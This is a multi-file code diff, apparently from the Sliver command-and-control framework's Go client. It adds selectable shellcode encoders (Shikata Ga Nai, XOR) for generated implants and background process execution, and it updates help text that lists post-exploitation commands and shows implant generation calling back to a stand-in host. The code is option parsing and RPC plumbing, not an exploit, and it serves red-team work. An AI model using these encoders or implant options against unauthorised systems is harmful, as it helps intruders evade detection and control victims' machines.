||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if configFormat != clientpb.OutputFormat_SHELLCODE {
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
|
||||
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
|
||||
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
|
||||
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
|
||||
@@ -1026,12 +1256,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
encoder := config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
|
||||
}
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
|
||||
err = os.WriteFile(saveTo, fileData, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -1078,22 +1354,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if !config.SGNEnabled {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
encoder := config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", msg)
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := profile.Config.ShellcodeEncoder
|
||||
legacySGN := false
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
legacySGN = true
|
||||
}
|
||||
if encoder != clientpb.ShellcodeEncoder_NONE {
|
||||
encoderName := map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if encoderName == "" {
|
||||
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
|
||||
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
if legacySGN {
|
||||
con.PrintWarnf("%s, skipping.\n", msg)
|
||||
} else {
|
||||
return nil, errors.New(msg)
|
||||
}
|
||||
} else {
|
||||
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoder,
|
||||
Architecture: profile.Config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: data,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error encoding shellcode")
|
||||
return nil, err
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
}
|
||||
data = encodeResp.Data
|
||||
}
|
||||
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
|
||||
@@ -20,8 +20,10 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
// Override shellcode encoder if explicitly requested.
|
||||
if cmd.Flags().Changed("shellcode-encoder") {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
if rawEncoder == "" {
|
||||
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
|
||||
return
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
|
||||
profile.Config.SGNEnabled = false
|
||||
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
|
||||
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
|
||||
} else {
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
|
||||
return
|
||||
}
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
|
||||
if len(compatible) == 0 {
|
||||
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
} else {
|
||||
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
|
||||
}
|
||||
return
|
||||
}
|
||||
profile.Config.ShellcodeEncoder = encoder
|
||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
}
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
|
||||
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
|
||||
properties["obsymbols"] = "disabled"
|
||||
}
|
||||
|
||||
if config.SGNEnabled {
|
||||
properties["sgn"] = "enabled"
|
||||
} else {
|
||||
properties["sgn"] = "disabled"
|
||||
properties["shellcodeencoder"] = "n/a"
|
||||
if config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := config.ShellcodeEncoder
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_NONE: "none",
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if properties["shellcodeencoder"] == "" {
|
||||
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
|
||||
}
|
||||
}
|
||||
|
||||
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
|
||||
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
|
||||
properties["obsymbols"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Shikata Ga Nai (SGN) is",
|
||||
properties["sgn"],
|
||||
"Shellcode encoder is",
|
||||
properties["shellcodeencoder"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Obfuscation\n")
|
||||
|
||||
@@ -47,44 +47,45 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -135,6 +136,7 @@ var (
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||
|
||||
[[.Bold]]Example:[[.Normal]]
|
||||
execute /bin/bash --env FOO=1 -- -c env
|
||||
@@ -145,6 +147,11 @@ FOO=1
|
||||
PWD=/Users/moloch/git/sliver
|
||||
SHLVL=1
|
||||
_=/usr/bin/env
|
||||
`
|
||||
|
||||
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||
|
||||
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||
`
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -182,8 +189,8 @@ You can also stack the C2 configuration with multiple protocols:
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
|
||||
with the --os and --format flags.
|
||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
generate --mtls foo.example.com
|
||||
@@ -199,16 +206,19 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
generate --os linux --mtls foo.example.com
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
|
||||
When generating Windows shellcode (--format shellcode), you can tune Donut:
|
||||
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
|
||||
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
|
||||
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
|
||||
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
|
||||
--donut-oep <uint32> # Override original entry point (0=default)
|
||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
|
||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
|
||||
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
|
||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||
|
||||
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
|
||||
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
|
||||
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
EnforceOTP: !enforceOTP,
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -30,6 +30,8 @@ func normalizeShellcodeArch(arch string) string {
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
|
||||
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.BoolP("output", "o", execReq.Output, "capture command output")
|
||||
f.Bool("background", execReq.Background, "start the process in the background and track it")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
|
||||
|
||||
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
||||
execCmd.Flags().AddFlagSet(f)
|
||||
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
|
||||
exec.PrintExecute(execResult, execCmd, con)
|
||||
|
||||
case sliverpb.MsgExecuteChildrenReq:
|
||||
execChildren := &sliverpb.ExecuteChildren{}
|
||||
err := proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintExecuteChildren(execChildren, con)
|
||||
|
||||
case sliverpb.MsgSideloadReq:
|
||||
sideload := &sliverpb.Sideload{}
|
||||
err := proto.Unmarshal(task.Response, sideload)
|
||||
|
||||
@@ -208,8 +208,9 @@ const (
|
||||
GetGIDStr = "getgid"
|
||||
WhoamiStr = "whoami"
|
||||
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ExecuteChildrenStr = "children"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
|
||||
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
|
||||
Title("Select packages or bundles to install").
|
||||
Description("Use space to select and enter to install.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedNames)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
|
||||
Title("Select updates to apply").
|
||||
